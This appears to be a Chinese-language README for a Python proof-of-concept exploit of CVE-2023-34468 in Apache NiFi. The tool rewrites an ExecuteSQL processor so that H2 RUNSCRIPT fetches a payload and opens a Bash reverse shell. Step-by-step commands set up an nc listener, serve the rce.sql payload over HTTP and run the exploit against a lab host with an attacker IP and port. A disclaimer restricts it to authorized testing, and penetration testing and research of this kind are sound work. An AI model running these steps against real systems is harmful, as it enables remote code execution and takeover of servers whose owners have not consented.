
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
一个简短的 Python PoC,用于滥用可编辑的 Apache NiFi ExecuteSQL 处理器,通过 H2 RUNSCRIPT 负载触发远程命令执行,并通过 Bash 反向 shell 建立连接。
仅用于授权测试和研究。请勿对你不拥有或未经明确许可测试的系统使用。
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id。rce.sql 负载,该负载定义并调用一个基于 Java 的 shell 执行别名。nc 监听器和 HTTP 服务器。RUNSCRIPT 获取 rce.sql。



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
终端 1:
rlwrap nc -lvnp 4444
终端 2(在此仓库目录下):
python3 -m http.server 8000
终端 3:
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
手动选择处理器:
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| 产品 | 受影响版本 | 所需访问权限 | 影响 |
|---|---|---|---|
| Apache NiFi | 使用了可编辑 ExecuteSQL/H2 行为的受 CVE-2023-34468 影响的部署 | 能够通过 API 访问并修改目标 NiFi 处理器 | 远程命令执行 |
rce.sql 文件被 git 忽略,应通过 python3 -m http.server 从仓库目录提供。--processor-id 手动传入处理器 UUID。ozcanpng — github.com/ozcanpng — ozcanpng.dev